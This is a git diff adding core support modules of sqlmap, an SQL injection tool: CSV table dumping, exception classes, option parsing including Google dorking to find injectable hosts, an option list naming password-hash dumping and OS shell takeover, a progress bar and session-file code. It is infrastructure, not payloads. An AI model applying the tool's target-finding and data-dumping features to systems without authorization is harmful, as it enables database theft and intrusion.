os.path.isdir(dumpDbPath): + os.makedirs(dumpDbPath, 0755) + + dumpFileName = "%s%s%s.csv" % (dumpDbPath, os.sep, table) + dumpFP = open(dumpFileName, "w") + + count = int(tableValues["__infos__"]["count"]) + separator = "" + field = 1 + fields = len(tableValues) - 1 + + columns = tableValues.keys() + columns.sort(key=lambda x: x.lower()) + + for column in columns: + if column != "__infos__": + info = tableValues[column] + lines = "-" * (int(info["length"]) + 2) + separator += "+%s" % lines + + separator += "+" + self.__write("Database: %s\nTable: %s" % (db, table)) + + if count == 1: + self.__write("[1 entry]") + else: + self.__write("[%d entries]" % count) + + self.__write(separator) + + for column in columns: + if column != "__infos__": + info = tableValues[column] + maxlength = int(info["length"]) + blank = " " * (maxlength - len(column)) + self.__write("| %s%s" % (column, blank), n=False) + + if not conf.googleDork and field == fields: + dataToDumpFile(dumpFP, "\"%s\"" % column) + else: + dataToDumpFile(dumpFP, "\"%s\"," % column) + + field += 1 + + self.__write("|\n%s" % separator) + if not conf.googleDork: + dataToDumpFile(dumpFP, "\n") + + for i in range(count): + field = 1 + + for column in columns: + if column != "__infos__": + info = tableValues[column] + value = info["values"][i] + + if re.search("^[\ *]*$", value): + value = "NULL" + + maxlength = int(info["length"]) + blank = " " * (maxlength - len(value)) + self.__write("| %s%s" % (value, blank), n=False) + + if field == fields: + dataToDumpFile(dumpFP, "\"%s\"" % value) + else: + dataToDumpFile(dumpFP, "\"%s\"," % value) + + field += 1 + + self.__write("|") + if not conf.googleDork: + dataToDumpFile(dumpFP, "\n") + + self.__write("%s\n" % separator) + + if not conf.googleDork: + dataToDumpFile(dumpFP, "\n") + dumpFP.close() + + logger.info("Table '%s.%s' dumped to CSV file '%s'" % (db, table, dumpFileName)) + + +# object to manage how to print the retrieved queries output to +# standard output and sessions file +dumper = Dump() diff --git a/lib/core/exception.py b/lib/core/exception.py new file mode 100644 index 000000000..2644a1d45 --- /dev/null +++ b/lib/core/exception.py @@ -0,0 +1,109 @@ +#!/usr/bin/env python + +""" +$Id: exception.py 316 2008-08-03 22:56:20Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +from lib.core.settings import VERSION_STRING + + +class sqlmapConnectionException(Exception): + pass + + +class sqlmapDataException(Exception): + pass + + +class sqlmapFilePathException(Exception): + pass + + +class sqlmapGenericException(Exception): + pass + + +class sqlmapMissingMandatoryOptionException(Exception): + pass + + +class sqlmapNoneDataException(Exception): + pass + + +class sqlmapRegExprException(Exception): + pass + + +class sqlmapSyntaxException(Exception): + pass + + +class sqlmapUndefinedMethod(Exception): + pass + + +class sqlmapMissingPrivileges(Exception): + pass + + +class sqlmapNotVulnerableException(Exception): + pass + + +class sqlmapUnsupportedDBMSException(Exception): + pass + + +class sqlmapUnsupportedFeatureException(Exception): + pass + + +class sqlmapValueException(Exception): + pass + + +def unhandledException(): + errMsg = "unhandled exception in %s, please copy " % VERSION_STRING + errMsg += "this and the following traceback and send us by email. " + errMsg += "We will fix it as soon as possible:" + + return errMsg + + +exceptionsTuple = ( + sqlmapConnectionException, + sqlmapDataException, + sqlmapFilePathException, + sqlmapGenericException, + sqlmapMissingMandatoryOptionException, + sqlmapNoneDataException, + sqlmapRegExprException, + sqlmapSyntaxException, + sqlmapUndefinedMethod, + sqlmapMissingPrivileges, + sqlmapNotVulnerableException, + sqlmapUnsupportedDBMSException, + sqlmapUnsupportedFeatureException, + sqlmapValueException, + ) diff --git a/lib/core/option.py b/lib/core/option.py new file mode 100644 index 000000000..b6be9f2c1 --- /dev/null +++ b/lib/core/option.py @@ -0,0 +1,571 @@ +#!/usr/bin/env python + +""" +$Id: option.py 321M 2008-10-13 22:58:44Z (local) $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import cookielib +import logging +import os +import re +import time +import urllib2 +import urlparse + +from lib.core.common import parseTargetUrl +from lib.core.common import paths +from lib.core.common import randomRange +from lib.core.common import randomStr +from lib.core.common import readInput +from lib.core.common import sanitizeStr +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.data import paths +from lib.core.datatype import advancedDict +from lib.core.exception import sqlmapFilePathException +from lib.core.exception import sqlmapGenericException +from lib.core.exception import sqlmapSyntaxException +from lib.core.exception import sqlmapUnsupportedDBMSException +from lib.core.optiondict import optDict +from lib.core.settings import MSSQL_ALIASES +from lib.core.settings import MYSQL_ALIASES +from lib.core.settings import SITE +from lib.core.settings import SUPPORTED_DBMS +from lib.core.settings import VERSION_STRING +from lib.core.update import update +from lib.parse.configfile import configFileParser +from lib.parse.queriesfile import queriesParser +from lib.request.proxy import ProxyHTTPSHandler +from lib.utils.google import Google + + +authHandler = urllib2.BaseHandler() +proxyHandler = urllib2.BaseHandler() + + +def __urllib2Opener(): + """ + This function creates the urllib2 OpenerDirector. + """ + + global authHandler + global proxyHandler + + debugMsg = "creating HTTP requests opener object" + logger.debug(debugMsg) + + conf.cj = cookielib.LWPCookieJar() + opener = urllib2.build_opener(proxyHandler, authHandler, urllib2.HTTPCookieProcessor(conf.cj)) + + urllib2.install_opener(opener) + + +def __setGoogleDorking(): + """ + This function checks if the way to request testable hosts is through + Google dorking then requests to Google the search parameter, parses + the results and save the testable hosts into the knowledge base. + """ + + global proxyHandler + + if not conf.googleDork: + return + + debugMsg = "initializing Google dorking requests" + logger.debug(debugMsg) + + logMsg = "first request to Google to get the session cookie" + logger.info(logMsg) + + googleObj = Google(proxyHandler) + googleObj.getCookie() + + matches = googleObj.search(conf.googleDork) + + if not matches: + errMsg = "unable to find results for your " + errMsg += "Google dork expression" + raise sqlmapGenericException, errMsg + + kb.targetUrls = googleObj.getTargetUrls() + + if kb.targetUrls: + logMsg = "sqlmap got %d results for your " % len(matches) + logMsg += "Google dork expression, " + + if len(matches) == len(kb.targetUrls): + logMsg += "all " + else: + logMsg += "%d " % len(kb.targetUrls) + + logMsg += "of them are testable hosts" + logger.info(logMsg) + else: + errMsg = "sqlmap got %d results " % len(matches) + errMsg += "for your Google dork expression, but none of them " + errMsg += "have GET parameters to test for SQL injection" + raise sqlmapGenericException, errMsg + + +def __setRemoteDBMS(): + """ + Checks and set the back-end DBMS option. + """ + + if not conf.dbms: + return + + debugMsg = "forcing back-end DBMS to user defined value" + logger.debug(debugMsg) + + conf.dbms = conf.dbms.lower() + firstRegExp = "(%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]), + "|".join([alias for alias in MYSQL_ALIASES])) + dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, conf.dbms) + + if dbmsRegExp: + conf.dbms = dbmsRegExp.group(1) + kb.dbmsVersion = [dbmsRegExp.group(2)] + + if conf.dbms not in SUPPORTED_DBMS: + errMsg = "you provided an unsupported back-end database management " + errMsg += "system. The supported DBMS are MySQL, PostgreSQL, " + errMsg += "Microsoft SQL Server and Oracle. If you do not know " + errMsg += "the back-end DBMS, do not provide it and sqlmap will " + errMsg += "fingerprint it for you." + raise sqlmapUnsupportedDBMSException, errMsg + + +def __setThreads(): + if conf.threads <= 0: + conf.threads = 1 + + +def __setHTTPProxy(): + """ + Check and set the HTTP proxy to pass by all HTTP requests. + """ + + global proxyHandler + + if not conf.proxy: + return + + parseTargetUrl() + + debugMsg = "setting the HTTP proxy to pass by all HTTP requests" + logger.debug(debugMsg) + + __proxySplit = urlparse.urlsplit(conf.proxy) + __hostnamePort = __proxySplit[1].split(":") + + __scheme = __proxySplit[0] + __hostname = __hostnamePort[0] + __port = None + + if len(__hostnamePort) == 2: + __port = int(__hostnamePort[1]) + + if not __scheme or not __hostname or not __port: + errMsg = "proxy value must be in format 'http://url:port'" + raise sqlmapSyntaxException, errMsg + + __proxyString = "%s:%d" % (__hostname, __port) + + # Workaround for http://bugs.python.org/issue1424152 (urllib/urllib2: + # HTTPS over (Squid) Proxy fails) as long as HTTP over SSL requests + # can't be tunneled over an HTTP proxy natively by Python urllib2 + # standard library + if conf.scheme == "https": + proxyHandler = ProxyHTTPSHandler(__proxyString) + else: + proxyHandler = urllib2.ProxyHandler({"http": __proxyString}) + + +def __setHTTPAuthentication(): + """ + Check and set the HTTP authentication method (Basic or Digest), + username and password to perform HTTP requests with. + """ + + global authHandler + + if not conf.aType and not conf.aCred: + return + + elif conf.aType and not conf.aCred: + errMsg = "you specified the HTTP Authentication type, but " + errMsg += "did not provide the credentials" + raise sqlmapSyntaxException, errMsg + + elif not conf.aType and conf.aCred: + errMsg = "you specified the HTTP Authentication credentials, " + errMsg += "but did not provide the type" + raise sqlmapSyntaxException, errMsg + + parseTargetUrl() + + debugMsg = "setting the HTTP Authentication type and credentials" + logger.debug(debugMsg) + + aTypeLower = conf.aType.lower() + + if aTypeLower not in ( "basic", "digest" ): + errMsg = "HTTP Authentication type value must be " + errMsg += "Basic or Digest" + raise sqlmapSyntaxException, errMsg + + aCredRegExp = re.search("^(.*?)\:(.*?)$", conf.aCred) + + if not aCredRegExp: + errMsg = "HTTP Authentication credentials value must be " + errMsg += "in format username:password" + raise sqlmapSyntaxException, errMsg + + authUsername = aCredRegExp.group(1) + authPassword = aCredRegExp.group(2) + + passwordMgr = urllib2.HTTPPasswordMgrWithDefaultRealm() + passwordMgr.add_password(None, "%s://%s" % (conf.scheme, conf.hostname), authUsername, authPassword) + + if aTypeLower == "basic": + authHandler = urllib2.HTTPBasicAuthHandler(passwordMgr) + elif aTypeLower == "digest": + authHandler = urllib2.HTTPDigestAuthHandler(passwordMgr) + + +def __setHTTPMethod(): + """ + Check and set the HTTP method to perform HTTP requests through. + """ + + if conf.method: + debugMsg = "setting the HTTP method to perform HTTP requests through" + logger.debug(debugMsg) + + conf.method = conf.method.upper() + + if conf.method not in ("GET", "POST"): + warnMsg = "'%s' " % conf.method + warnMsg += "is an unsupported HTTP method, " + warnMsg += "setting to default method, GET" + logger.warn(warnMsg) + + conf.method = "GET" + else: + conf.method = "GET" + + +def __defaultHTTPUserAgent(): + """ + @return: default sqlmap HTTP User-Agent header + @rtype: C{str} + """ + + return "%s (%s)" % (VERSION_STRING, SITE) + + +def __setHTTPUserAgent(): + """ + Set the HTTP User-Agent header. + Depending on the user options it can be: + + * The default sqlmap string + * A default value read as user option + * A random value read from a list of User-Agent headers from a + file choosed as user option + """ + + if conf.agent: + debugMsg = "setting the HTTP User-Agent header" + logger.debug(debugMsg) + + conf.httpHeaders.append(("User-Agent", conf.agent)) + return + + if not conf.userAgentsFile: + conf.httpHeaders.append(("User-Agent", __defaultHTTPUserAgent())) + return + + debugMsg = "fetching random HTTP User-Agent header from " + debugMsg += "file '%s'" % conf.userAgentsFile + logger.debug(debugMsg) + + try: + fd = open(conf.userAgentsFile) + except IOError: + warnMsg = "unable to read HTTP User-Agent header " + warnMsg += "file '%s'" % conf.userAgentsFile + logger.warn(warnMsg) + + conf.httpHeaders.append(("User-Agent", __defaultHTTPUserAgent())) + + return + + __count = 0 + __userAgents = [] + + while True: + line = fd.readline() + + if not line: + break + + __userAgents.append(line) + __count += 1 + + fd.close() + + if __count == 1: + __userAgent = __userAgents[0] + else: + __userAgent = __userAgents[randomRange(stop=__count)] + + __userAgent = sanitizeStr(__userAgent) + conf.httpHeaders.append(("User-Agent", __userAgent)) + + logMsg = "fetched random HTTP User-Agent header from " + logMsg += "file '%s': %s" % (conf.userAgentsFile, __userAgent) + logger.info(logMsg) + + +def __setHTTPReferer(): + """ + Set the HTTP Referer + """ + + if conf.referer: + debugMsg = "setting the HTTP Referer header" + logger.debug(debugMsg) + + conf.httpHeaders.append(("Referer", conf.referer)) + + +def __setHTTPCookies(): + """ + Set the HTTP Cookie header + """ + + if conf.cookie: + debugMsg = "setting the HTTP Cookie header" + logger.debug(debugMsg) + + conf.httpHeaders.append(("Connection", "Keep-Alive")) + conf.httpHeaders.append(("Cookie", conf.cookie)) + + +def __cleanupOptions(): + """ + Cleanup configuration attributes. + """ + + debugMsg = "cleaning up configuration parameters" + logger.debug(debugMsg) + + if conf.testParameter: + conf.testParameter = conf.testParameter.replace(" ", "") + conf.testParameter = conf.testParameter.split(",") + else: + conf.testParameter = [] + + if conf.db: + conf.db = conf.db.replace(" ", "") + + if conf.tbl: + conf.tbl = conf.tbl.replace(" ", "") + + if conf.col: + conf.col = conf.col.replace(" ", "") + + if conf.user: + conf.user = conf.user.replace(" ", "") + + +def __setConfAttributes(): + """ + This function set some needed attributes into the configuration + singleton. + """ + + debugMsg = "initializing the configuration" + logger.debug(debugMsg) + + conf.cj = None + conf.dbmsHandler = None + conf.dumpPath = None + conf.httpHeaders = [] + conf.hostname = None + conf.loggedToOut = None + conf.outputPath = None + conf.paramDict = {} + conf.parameters = {} + conf.path = None + conf.port = None + conf.scheme = None + conf.sessionFP = None + conf.start = True + + +def __setKnowledgeBaseAttributes(): + """ + This function set some needed attributes into the knowledge base + singleton. + """ + + debugMsg = "initializing the knowledge base" + logger.debug(debugMsg) + + kb.absFilePaths = set() + kb.defaultResult = None + kb.docRoot = None + kb.dbms = None + kb.dbmsDetected = False + kb.dbmsVersion = None + kb.htmlFp = [] + kb.injParameter = None + kb.injPlace = None + kb.injType = None + kb.parenthesis = None + kb.resumedQueries = {} + kb.targetUrls = set() + kb.unionComment = "" + kb.unionCount = None + kb.unionPosition = None + + +def __saveCmdline(): + """ + Saves the command line options on a sqlmap configuration INI file + format. + """ + + if not conf.saveCmdline: + return + + debugMsg = "saving command line options on a sqlmap configuration INI file" + logger.debug(debugMsg) + + userOpts = {} + + for family in optDict.keys(): + userOpts[family] = [] + + for option, value in conf.items(): + for family, optionData in optDict.items(): + if option in optionData: + userOpts[family].append((option, value, optionData[option])) + + confFP = open(paths.SQLMAP_CONFIG, "w") + + for family, optionData in userOpts.items(): + confFP.write("[%s]\n" % family) + + optionData.sort() + + for option, value, datatype in optionData: + if value == None: + if datatype == "boolean": + value = "False" + elif datatype == "integer": + value = "1" + elif datatype == "string": + value = "" + + confFP.write("%s = %s\n" % (option, value)) + + confFP.write("\n") + + confFP.flush() + confFP.close() + + infoMsg = "saved command line options on '%s' configuration file" % paths.SQLMAP_CONFIG + logger.info(infoMsg) + + +def __setVerbosity(): + """ + This function set the verbosity of sqlmap output messages. + """ + + if not conf.verbose: + conf.verbose = 0 + return + + conf.verbose = int(conf.verbose) + + if conf.verbose <= 1: + logger.setLevel(logging.INFO) + elif conf.verbose > 1 and conf.eta: + conf.verbose = 1 + logger.setLevel(logging.INFO) + elif conf.verbose == 2: + logger.setLevel(logging.DEBUG) + elif conf.verbose == 3: + logger.setLevel(9) + elif conf.verbose >= 4: + logger.setLevel(8) + + +def __mergeOptions(inputOptions): + """ + Merge command line options with configuration file options. + + @param inputOptions: optparse object with command line options. + @type inputOptions: C{instance} + """ + + if inputOptions.configFile: + configFileParser(inputOptions.configFile) + + for key, value in inputOptions.__dict__.items(): + if not conf.has_key(key) or conf[key] == None or value != None: + conf[key] = value + + +def init(inputOptions=advancedDict()): + """ + Set attributes into both configuration and knowledge base singletons + based upon command line and configuration file options. + """ + + __mergeOptions(inputOptions) + __setVerbosity() + __saveCmdline() + __setConfAttributes() + __setKnowledgeBaseAttributes() + __cleanupOptions() + __setHTTPCookies() + __setHTTPReferer() + __setHTTPUserAgent() + __setHTTPMethod() + __setHTTPAuthentication() + __setHTTPProxy() + __setThreads() + __setRemoteDBMS() + __setGoogleDorking() + __urllib2Opener() + + update() + queriesParser() diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py new file mode 100644 index 000000000..da86c5fd3 --- /dev/null +++ b/lib/core/optiondict.py @@ -0,0 +1,95 @@ +#!/usr/bin/env python + +""" +$Id: optiondict.py 368 2008-09-30 00:09:59Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +optDict = { + # Family: { "parameter_name": "parameter_datatype", + "Request": { + "url": "string", + "googleDork": "string", + "testParameter": "string", + "method": "string", + "data": "string", + "cookie": "string", + "referer": "string", + "agent": "string", + "userAgentsFile": "string", + "aType": "string", + "aCred": "string", + "proxy": "string", + "threads": "integer", + }, + + "Injection": { + "string": "string", + "dbms": "string", + }, + + "Fingerprint": { + "extensiveFp": "boolean", + }, + + "Enumeration": { + "getBanner": "boolean", + "getCurrentUser": "boolean", + "getCurrentDb": "boolean", + "getUsers": "boolean", + "getPasswordHashes": "boolean", + "getPrivileges": "boolean", + "getDbs": "boolean", + "getTables": "boolean", + "getColumns": "boolean", + "dumpTable": "boolean", + "dumpAll": "boolean", + "user": "string", + "db": "string", + "tbl": "string", + "col": "string", + "excludeSysDbs": "boolean", + "limitStart": "integer", + "limitStop": "integer", + "query": "string", + "sqlShell": "boolean", + }, + + "File system": { + "rFile": "string", + "wFile": "string", + }, + + "Takeover": { + "osShell": "boolean", + }, + + "Miscellaneous": { + "unionTest": "boolean", + "unionUse": "boolean", + "eta": "boolean", + "verbose": "integer", + "updateAll": "boolean", + "sessionFile": "string", + "batch": "boolean", + }, + } diff --git a/lib/core/progress.py b/lib/core/progress.py new file mode 100644 index 000000000..b6116482a --- /dev/null +++ b/lib/core/progress.py @@ -0,0 +1,111 @@ +#!/usr/bin/env python + +""" +$Id: progress.py 214 2008-07-14 14:17:06Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +from lib.core.common import dataToStdout + + +class ProgressBar: + """ + This class defines methods to update and draw a progress bar + """ + + def __init__(self, minValue=0, maxValue=10, totalWidth=54): + self.__progBar = "[]" + self.__oldProgBar = "" + self.__min = minValue + self.__max = maxValue + self.__span = maxValue - minValue + self.__width = totalWidth + self.__amount = 0 + self.update() + + + def __convertSeconds(self, value): + seconds = value + minutes = seconds / 60 + seconds = seconds - (minutes * 60) + + return "%.2d:%.2d" % (minutes, seconds) + + + def update(self, newAmount=0): + """ + This method updates the progress bar + """ + + if newAmount < self.__min: + newAmount = self.__min + elif newAmount > self.__max: + newAmount = self.__max + + self.__amount = newAmount + + # Figure out the new percent done, round to an integer + diffFromMin = float(self.__amount - self.__min) + percentDone = (diffFromMin / float(self.__span)) * 100.0 + percentDone = round(percentDone) + percentDone = int(percentDone) + + # Figure out how many hash bars the percentage should be + allFull = self.__width - 2 + numHashes = (percentDone / 100.0) * allFull + numHashes = int(round(numHashes)) + + # Build a progress bar with an arrow of equal signs + if numHashes == 0: + self.__progBar = "[>%s]" % (" " * (allFull - 1)) + elif numHashes == allFull: + self.__progBar = "[%s]" % ("=" * allFull) + else: + self.__progBar = "[%s>%s]" % ("=" * (numHashes - 1), + " " * (allFull - numHashes)) + + # Add the percentage at the beginning of the progress bar + percentString = str(percentDone) + "%" + self.__progBar = "%s %s" % (percentString, self.__progBar) + + + def draw(self, eta=0): + """ + This method draws the progress bar if it has changed + """ + + if self.__progBar != self.__oldProgBar: + self.__oldProgBar = self.__progBar + + if eta and self.__amount < self.__max: + dataToStdout("\r%s %d/%d ETA %s" % (self.__progBar, self.__amount, self.__max, self.__convertSeconds(int(eta)))) + else: + blank = " " * (80 - len("\r%s %d/%d" % (self.__progBar, self.__amount, self.__max))) + dataToStdout("\r%s %d/%d%s" % (self.__progBar, self.__amount, self.__max, blank)) + + + def __str__(self): + """ + This method returns the progress bar string + """ + + return str(self.__progBar) diff --git a/lib/core/readlineng.py b/lib/core/readlineng.py new file mode 100644 index 000000000..2c8c3b31c --- /dev/null +++ b/lib/core/readlineng.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +$Id: readlineng.py 326 2008-08-27 12:20:15Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + +Based on IPython readline library (IPython/rlineimpl.py), imports and +provides the "correct" version of readline for the platform. +In addition to normal readline stuff, this module provides haveReadline +boolean and _outputfile variable used in genutils. +""" + + + +import sys + + +from lib.core.data import logger + + +try: + from readline import * + import readline as _rl + + haveReadline = True +except ImportError: + try: + from pyreadline import * + import pyreadline as _rl + + haveReadline = True + except ImportError: + haveReadline = False + +if sys.platform == 'win32' and haveReadline: + try: + _outputfile=_rl.GetOutputFile() + except AttributeError: + debugMsg = "Failed GetOutputFile when using platform's " + debugMsg += "readline library" + logger.debug(debugMsg) + + haveReadline = False + +# Test to see if libedit is being used instead of GNU readline. +# Thanks to Boyd Waters for this patch. +uses_libedit = False + +if sys.platform == 'darwin' and haveReadline: + import commands + + (status, result) = commands.getstatusoutput( "otool -L %s | grep libedit" % _rl.__file__ ) + + if status == 0 and len(result) > 0: + # We are bound to libedit - new in Leopard + _rl.parse_and_bind("bind ^I rl_complete") + + debugMsg = "Leopard libedit detected when using platform's " + debugMsg += "readline library" + logger.debug(debugMsg) + + uses_libedit = True + + +# the clear_history() function was only introduced in Python 2.4 and is +# actually optional in the readline API, so we must explicitly check for its +# existence. Some known platforms actually don't have it. This thread: +# http://mail.python.org/pipermail/python-dev/2003-August/037845.html +# has the original discussion. +if haveReadline: + try: + _rl.clear_history + except AttributeError: + def clear_history(): + pass + + _rl.clear_history = clear_history diff --git a/lib/core/session.py b/lib/core/session.py new file mode 100644 index 000000000..a6b802761 --- /dev/null +++ b/lib/core/session.py @@ -0,0 +1,282 @@ +#!/usr/bin/env python + +""" +$Id: session.py 368 2008-09-30 00:09:59Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import re + +from lib.core.common import dataToSessionFile +from lib.core.common import readInput +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.settings import MSSQL_ALIASES +from lib.core.settings import MYSQL_ALIASES + +def setString(): + """ + Save string to match in session file. + """ + + condition = ( + conf.sessionFile and ( not kb.resumedQueries + or ( kb.resumedQueries.has_key(conf.url) and + not kb.resumedQueries[conf.url].has_key("String") ) ) + ) + + if condition: + dataToSessionFile("[%s][None][None][String][%s]\n" % (conf.url, conf.string)) + + +def setInjection(): + """ + Save information retrieved about injection place and parameter in the + session file. + """ + + if kb.injPlace == "User-Agent": + kb.injParameter = conf.agent + + condition = ( + kb.injPlace and kb.injParameter and + conf.sessionFile and ( not kb.resumedQueries + or ( kb.resumedQueries.has_key(conf.url) and + ( not kb.resumedQueries[conf.url].has_key("Injection point") + or not kb.resumedQueries[conf.url].has_key("Injection parameter") + or not kb.resumedQueries[conf.url].has_key("Injection type") + ) ) ) + ) + + if condition: + dataToSessionFile("[%s][%s][%s][Injection point][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injPlace)) + dataToSessionFile("[%s][%s][%s][Injection parameter][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injParameter)) + dataToSessionFile("[%s][%s][%s][Injection type][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injType)) + + +def setParenthesis(parenthesisCount): + """ + @param parenthesisCount: number of parenthesis to be set into the + knowledge base as fingerprint. + @type parenthesisCount: C{int} + """ + + condition = ( + conf.sessionFile and ( not kb.resumedQueries + or ( kb.resumedQueries.has_key(conf.url) and + not kb.resumedQueries[conf.url].has_key("Parenthesis") ) ) + ) + + if condition: + dataToSessionFile("[%s][%s][%s][Parenthesis][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], parenthesisCount)) + + kb.parenthesis = parenthesisCount + + +def setDbms(dbms): + """ + @param dbms: database management system to be set into the knowledge + base as fingerprint. + @type dbms: C{str} + """ + + condition = ( + conf.sessionFile and ( not kb.resumedQueries + or ( kb.resumedQueries.has_key(conf.url) and + not kb.resumedQueries[conf.url].has_key("DBMS") ) ) + ) + + if condition: + dataToSessionFile("[%s][%s][%s][DBMS][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], dbms)) + + firstRegExp = "(%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]), + "|".join([alias for alias in MYSQL_ALIASES])) + dbmsRegExp = re.search("^%s" % firstRegExp, dbms, re.I) + + if dbmsRegExp: + dbms = dbmsRegExp.group(1) + + kb.dbms = dbms + + +def setUnion(comment=None, count=None, position=None): + """ + @param comment: union comment to save in session file + @type comment: C{str} + + @param count: union count to save in session file + @type count: C{str} + + @param position: union position to save in session file + @type position: C{str} + """ + + if comment and count: + condition = ( + conf.sessionFile and ( not kb.resumedQueries + or ( kb.resumedQueries.has_key(conf.url) and + ( not kb.resumedQueries[conf.url].has_key("Union comment") + or not kb.resumedQueries[conf.url].has_key("Union count") + ) ) ) + ) + + if condition: + dataToSessionFile("[%s][%s][%s][Union comment][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], comment)) + dataToSessionFile("[%s][%s][%s][Union count][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], count)) + + kb.unionComment = comment + kb.unionCount = count + + elif position: + condition = ( + conf.sessionFile and ( not kb.resumedQueries + or ( kb.resumedQueries.has_key(conf.url) and + ( not kb.resumedQueries[conf.url].has_key("Union position") + ) ) ) + ) + + if condition: + dataToSessionFile("[%s][%s][%s][Union position][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], position)) + + kb.unionPosition = position + + +def resumeConfKb(expression, url, value): + if expression == "String" and url == conf.url: + string = value[:-1] + + logMsg = "resuming string match '%s' from session file" % string + logger.info(logMsg) + + if string and ( not conf.string or string != conf.string ): + if not conf.string: + message = "you did not provide any string to match. " + else: + message = "The string you provided does not match " + message += "the resumed string. " + + message += "Do you want to use the resumed string " + message += "to be matched in page when the query " + message += "is valid? [Y/n] " + test = readInput(message, default="Y") + + if not test or test[0] in ("y", "Y"): + conf.string = string + + elif expression == "Injection point" and url == conf.url: + injPlace = value[:-1] + + logMsg = "resuming injection point '%s' from session file" % injPlace + logger.info(logMsg) + + if not conf.paramDict.has_key(injPlace): + warnMsg = "none of the parameters you provided " + warnMsg += "matches the resumable injection point. " + warnMsg += "sqlmap is going to reidentify the " + warnMsg += "injectable point" + logger.warn(warnMsg) + else: + kb.injPlace = injPlace + + elif expression == "Injection parameter" and url == conf.url: + injParameter = value[:-1] + + logMsg = "resuming injection parameter '%s' from session file" % injParameter + logger.info(logMsg) + + condition = ( + not conf.paramDict.has_key(kb.injPlace) or + not conf.paramDict[kb.injPlace].has_key(injParameter) + ) + + if condition: + warnMsg = "none of the parameters you provided 